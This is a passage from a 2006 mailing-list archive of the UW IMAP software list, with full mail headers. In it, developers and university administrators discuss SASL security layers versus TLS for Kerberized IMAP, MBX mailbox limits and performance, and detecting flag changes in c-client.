[IPv6:2001:638:208:89::6]) by mailgate1.uni-kl.de (8.13.4/8.13.4/Debian-3) with ESMTP id k141l7ls023860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Sat, 4 Feb 2006 02:47:07 +0100 Received: from sushi.unix-ag.uni-kl.de (ip6-localhost [IPv6:::1]) by sushi.unix-ag.uni-kl.de (8.13.4/8.13.4/Debian-3) with ESMTP id k141l7T6023760 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Sat, 4 Feb 2006 02:47:07 +0100 Received: (from massar@localhost) by sushi.unix-ag.uni-kl.de (8.13.4/8.13.4/Submit) id k141l6xJ023759 for imap-uw@u.washington.edu; Sat, 4 Feb 2006 02:47:06 +0100 From: Maurice Massar Date: Sat, 4 Feb 2006 02:47:06 +0100 To: imap-uw@u.washington.edu Message-ID: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.11 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] sasl secuity-layer support X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu hi, Are there plans to add support for the security-layer part of SASL? This would allow people using kerberos for authentication to have encrypted pop3/imap sessions without worring about SSL-certs, fingerprints etc. Searching the archives I found: http://mailman1.u.washington.edu/pipermail/imap-uw/2005-June/000080.html > It is not Cyrus SASL, but there is little (if anything) to be gained by > ripping out UW imapd's native SASL support to install Cyrus SASL. currently Cyrus-SASL does support Security Layer, so if it is less work to do the switch, you could consider this? cu Maurice Massar _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Feb 3 18:33:34 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Feb 2006 18:33:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XYTt019214 for ; Fri, 3 Feb 2006 18:33:34 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XXM9021984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 18:33:33 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XSEU016399 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Feb 2006 18:33:28 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XSUE003859; Fri, 3 Feb 2006 18:33:28 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XQDF003851 for ; Fri, 3 Feb 2006 18:33:26 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XQDS032031 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 3 Feb 2006 18:33:26 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XP4w015900 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 18:33:25 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142XPt3018596 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 3 Feb 2006 18:33:25 -0800 Date: Fri, 3 Feb 2006 18:31:23 -0800 (Pacific Standard Time) From: Mark Crispin To: "Aaron W. LaFramboise" Subject: Re: [Imap-uw] Large mailboxes: limits, algorithmical complexity? In-Reply-To: <43E40785.30707@aaronwl.com> Message-ID: References: <43E40785.30707@aaronwl.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 3 Feb 2006, Aaron W. LaFramboise wrote: > 1) My gcc-patches mailbox, MBX, recently passed 50k messages. I'm a little > curious whats going to happen at 65k. Nothing special. > What is the maximum amount of message allowed? It's limited only by virtual memory on your system and your disk's filesystem. > Is there a maximum total disk size? (So far, the mailbox only > takes about 300MB or about 7KB per message.) On many UNIX systems, the limit is 2GB. > 2) What is the algorithmical complexity of selecting and synchronizing a MBX > mailbox? On my machine, it appears to be roughly proportional to the time it > takes to 'cat' the mailbox, so I'd suspect its linear. It is linear following the number of messages in the mailbox. With traditional UNIX mailbox format, it is linear following the number of bytes in the file. > 2.5) Is there any possibility of a c-client compatible mailbox format for > which selecting, synchronizing, and other common operations are > constant-time? I am developing such a format now. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Feb 3 18:44:18 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Feb 2006 18:44:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142iI68019539 for ; Fri, 3 Feb 2006 18:44:18 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142iH6Z022507 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 18:44:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i7qZ029956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Feb 2006 18:44:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i7ro004636; Fri, 3 Feb 2006 18:44:07 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i6IJ004628 for ; Fri, 3 Feb 2006 18:44:06 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i5hg019799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 3 Feb 2006 18:44:06 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i4g4017852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 18:44:05 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k142i4LF032311 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 3 Feb 2006 18:44:04 -0800 Date: Fri, 3 Feb 2006 18:42:03 -0800 (Pacific Standard Time) From: Mark Crispin To: Maurice Massar Subject: Re: [Imap-uw] sasl secuity-layer support In-Reply-To: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> Message-ID: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sat, 4 Feb 2006, Maurice Massar wrote: > Are there plans to add support for the security-layer part of SASL? > This would allow people using kerberos for authentication to have > encrypted pop3/imap sessions without worring about SSL-certs, > fingerprints etc. There are plans, however, they aren't particularly high priority. Relatively few IMAP clients support SASL security layers, whereas just about every IMAP client supports TLS and/or SSL. I could count the number of times I've been asked about supporting SASL security layers in UW imapd on one hand...and still have some fingers left! For that matter, relatively few IMAP clients support Kerberos. I use Kerberos with IMAP extensively, and have always just used TLS for security. > Searching the archives I found: > http://mailman1.u.washington.edu/pipermail/imap-uw/2005-June/000080.html >> It is not Cyrus SASL, but there is little (if anything) to be gained by >> ripping out UW imapd's native SASL support to install Cyrus SASL. > > currently Cyrus-SASL does support Security Layer, so if it is less work > to do the switch, you could consider this? It would *far* more work to convert UW imapd to use Cyrus-SASL than it would to implement the security layer in the existing UW SASL Kerberos code. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Feb 3 19:16:46 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Feb 2006 19:16:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k143GkDE020796 for ; Fri, 3 Feb 2006 19:16:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k143GjwG004050 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 19:16:45 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k143Gfxw023639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Feb 2006 19:16:41 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k143Gftn006618; Fri, 3 Feb 2006 19:16:41 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k143GeS8006609 for ; Fri, 3 Feb 2006 19:16:40 -0800 Received: from mail122.messagelabs.com (mail122.messagelabs.com [216.82.241.211]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k143Gd3m020066 for ; Fri, 3 Feb 2006 19:16:39 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-7.tower-122.messagelabs.com!1139022998!18916429!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 29672 invoked from network); 4 Feb 2006 03:16:38 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-7.tower-122.messagelabs.com with SMTP; 4 Feb 2006 03:16:38 -0000 Received: from [10.0.1.3] (c-68-46-0-192.hsd1.pa.comcast.net [68.46.0.192]) by pobox.upenn.edu (Postfix) with ESMTP id 471F213E1; Fri, 3 Feb 2006 22:16:37 -0500 (EST) Date: Fri, 03 Feb 2006 22:16:36 -0500 From: Mark Sirota To: Mark Crispin , Maurice Massar Subject: Re: [Imap-uw] sasl secuity-layer support Message-ID: <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> In-Reply-To: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> X-Mailer: Mulberry/3.1.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On Friday, February 3, 2006 6:42 PM -0800 Mark Crispin wrote: > I could count the number of times I've been asked about supporting SASL > security layers in UW imapd on one hand...and still have some fingers > left! Penn will happy take another finger. :-) > For that matter, relatively few IMAP clients support Kerberos. I use > Kerberos with IMAP extensively, and have always just used TLS for > security. Penn is doing everything we can to increase the number of Kerberized IMAP clients, like contributing the funds to Kerberize Eudora and contributing the SASL/GSSAPI/Kerberos implementation recently introduced in Thunderbird (we'll have LDAP done by the next release). We have also kinda-sorta Kerberized Horde/IMP webmail and have implemented SASL/GSSAPI/Kerberos for authentication with the webmail "imapproxy" program. However, because the HTTP connection from the user to the webmail host is not Kerberized, the implementation requires some trust on the part of the IMAP server that the webmail service has properly authorized the user. Someday, when we have a proper Kerberos over HTTP solution, we'll be all the way there. Sadly, the loss of Mulberry in October makes it a two step forward, one step back sort of process. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 6 17:04:19 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Feb 2006 17:04:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714JTh023079 for ; Mon, 6 Feb 2006 17:04:19 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714IWQ032125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 17:04:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714E4a005208 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Feb 2006 17:04:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714E2F018881; Mon, 6 Feb 2006 17:04:14 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714C5J018865 for ; Mon, 6 Feb 2006 17:04:13 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714Cso004290 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 6 Feb 2006 17:04:12 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714CvU011345 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 17:04:12 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1714BxB004414 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 6 Feb 2006 17:04:11 -0800 Date: Mon, 6 Feb 2006 17:02:11 -0800 (Pacific Standard Time) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] sasl secuity-layer support In-Reply-To: <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> Message-ID: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 3 Feb 2006, Mark Sirota wrote: >> I could count the number of times I've been asked about supporting SASL >> security layers in UW imapd on one hand...and still have some fingers >> left! > Penn will happy take another finger. :-) Could you explain why SASL security layers are so important to Penn? Don't you have to offer SSL/TLS anyway, due to all the clients that don't have Kerberos? Don't your Kerberos clients now do SSL/TLS, and then authenticate using Kerberos? As far as I can tell, the main benefit to using SASL security layers (instead of SSL/TLS) is to eliminate the overhead of SSL/TLS key generations, and possibly also an RTT, in the initial session connection. Otherwise, far more sites are going to have SSL/TLS than Kerberos (or DIGEST-MD5, the other SASL mechanism which IIRC has security layers). Am I missing something? I agree that, conceptually, SASL security layers is the cleanest way to do things, but SSL/TLS seems to be the direction most people choose. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 6 19:25:41 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Feb 2006 19:25:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173PfAR029927 for ; Mon, 6 Feb 2006 19:25:41 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173PeBY008562 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:25:40 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173PaE2016089 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Feb 2006 19:25:36 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173Pa5q002221; Mon, 6 Feb 2006 19:25:36 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173Pa4m002213 for ; Mon, 6 Feb 2006 19:25:36 -0800 Received: from mail98.messagelabs.com (mail98.messagelabs.com [216.82.244.147]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k173PZ1l010753 for ; Mon, 6 Feb 2006 19:25:35 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-6.tower-98.messagelabs.com!1139282734!38237428!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 13066 invoked from network); 7 Feb 2006 03:25:34 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-6.tower-98.messagelabs.com with SMTP; 7 Feb 2006 03:25:34 -0000 Received: from [10.0.1.3] (c-68-46-0-192.hsd1.pa.comcast.net [68.46.0.192]) by pobox.upenn.edu (Postfix) with ESMTP id A57251293; Mon, 6 Feb 2006 22:25:33 -0500 (EST) Date: Mon, 06 Feb 2006 22:25:31 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] sasl secuity-layer support Message-ID: In-Reply-To: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> X-Mailer: Mulberry/3.1.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On Monday, February 6, 2006 5:02 PM -0800 Mark Crispin wrote: > Could you explain why SASL security layers are so important to Penn? > > Don't you have to offer SSL/TLS anyway, due to all the clients that > don't have Kerberos? Don't your Kerberos clients now do SSL/TLS, and > then authenticate using Kerberos? > > As far as I can tell, the main benefit to using SASL security layers > (instead of SSL/TLS) is to eliminate the overhead of SSL/TLS key > generations, and possibly also an RTT, in the initial session > connection. Otherwise, far more sites are going to have SSL/TLS than > Kerberos (or DIGEST-MD5, the other SASL mechanism which IIRC has > security layers). > > Am I missing something? > > I agree that, conceptually, SASL security layers is the cleanest way to > do things, but SSL/TLS seems to be the direction most people choose. You're right, of course, Penn would also have to continue to support TLS/SSL in addition to SASL/GSS/Kerberos, because we have almost no control over the choice of IMAP client, and there are a great many that people like that don't support SASL at all (never mind security layers). Those are not our recommended clients or configurations, but that doesn't stop people from using them. We hope for a future where that's not true, of course. However, the majority (rapidly becoming the vast majority) of our users choose to use our webmail service, which is an IMAP client over which we have complete control. So while incomplete in the near term, we'd still get a pretty big win. As for "the direction people choose", yes, client vendors seem to choose this, and sometimes users choose clients from those vendors. However, I think most server administrators would choose SASL security layers over TLS/SSL, if given the choice -- no certificates to manage (including things like the revocation problem), and better performance at scale. I don't buy into the argument that server administrators should be forced to accept the worst case. We can begrudgingly accept the worst case, and work to minimize its occurrence. In addition, we try to take a long-term view and stay on the high road when it comes to doing things The Right Way. Call me old school (I've been doing this Internet e-mail thing for 21 years), but for me and my organization this has actual value. If we can help facilitate better solutions for all, by contributing code, pressuring vendors, etc. to do the right thing, the world will be a better place. Mark -- Mark Sirota, Associate Director, Network Engineering and Services University of Pennsylvania, Information Systems and Computing msirota@isc.upenn.edu, 215/573-7214 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 6 19:39:46 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Feb 2006 19:39:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173dkNh030367 for ; Mon, 6 Feb 2006 19:39:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173djxs009223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:39:45 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173dfbI019057 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Feb 2006 19:39:41 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173df00003990; Mon, 6 Feb 2006 19:39:41 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173ddqm003982 for ; Mon, 6 Feb 2006 19:39:39 -0800 Received: from mail122.messagelabs.com (mail122.messagelabs.com [216.82.241.211]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k173dcgY018079 for ; Mon, 6 Feb 2006 19:39:39 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-14.tower-122.messagelabs.com!1139283570!16659437!11 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 3595 invoked from network); 7 Feb 2006 03:39:37 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-14.tower-122.messagelabs.com with SMTP; 7 Feb 2006 03:39:37 -0000 Received: from [10.0.1.3] (c-68-46-0-192.hsd1.pa.comcast.net [68.46.0.192]) by pobox.upenn.edu (Postfix) with ESMTP id 3A30413AB for ; Mon, 6 Feb 2006 22:39:37 -0500 (EST) Date: Mon, 06 Feb 2006 22:39:35 -0500 From: Mark Sirota To: imap-uw@u.washington.edu Message-ID: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> X-Mailer: Mulberry/3.1.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Detecting flag changes from c-client? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu We're looking for a way from the c-client to detect whether any message flags have changed. We were hoping mail_ping() would call mm_exists() if any flags have changed, but it does not seem to do so -- if I'm understanding correctly, mm_exists() will only be called if the number 